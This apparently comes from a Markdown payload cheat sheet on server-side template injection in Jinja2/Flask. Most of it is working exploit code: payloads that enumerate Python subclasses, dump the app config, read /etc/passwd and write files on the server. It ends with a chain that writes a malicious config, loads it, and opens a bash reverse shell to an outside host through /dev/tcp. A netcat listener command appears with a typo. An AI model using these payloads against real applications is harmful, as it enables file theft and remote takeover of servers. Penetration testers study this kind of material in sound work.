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64 lines
1.9 KiB
Markdown
64 lines
1.9 KiB
Markdown
# Templates Injections
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Template injection allows an attacker to include template code into an existant (or not) template.
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## Jinja2
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[Official website](http://jinja.pocoo.org/)
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> Jinja2 is a full featured template engine for Python. It has full unicode support, an optional integrated sandboxed execution environment, widely used and BSD licensed.
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Jinja2 is used by Python Web Frameworks such as Django or Flask.
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The above injections have been tested on Flask application.
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#### Template format
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```
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{% extends "layout.html" %}
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{% block body %}
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<ul>
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{% for user in users %}
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<li><a href="{{ user.url }}">{{ user.username }}</a></li>
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{% endfor %}
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</ul>
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{% endblock %}
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```
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#### Dump all used classes
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```
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{{ ''.__class__.__mro__[2].__subclasses__() }}
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```
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#### Dump all config variables
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```python
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{% for key, value in config.iteritems() %}
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<dt>{{ key|e }}</dt>
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<dd>{{ value|e }}</dd>
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{% endfor %}
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```
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#### Read remote file
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```
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# ''.__class__.__mro__[2].__subclasses__()[40] = File class
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{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
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```
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#### Write into remote file
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```python
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{{ ''.__class__.__mro__[2].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
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```
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#### Remote Code Execution via reverse shell
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Listen for connexion
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```
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nv -lnvp 8000
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```
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Inject this template
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```python
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{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }} # evil config
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{{ config.from_pyfile('/tmp/evilconfig.cfg') }} # load the evil config
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{{ config['RUNCMD']('bash -i >& /dev/tcp/xx.xx.xx.xx/8000 0>&1',shell=True) }} # connect to evil host
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```
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#### Ressources & Sources
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[https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/](https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/)
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#### Training
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[https://w3challs.com/](https://w3challs.com/)
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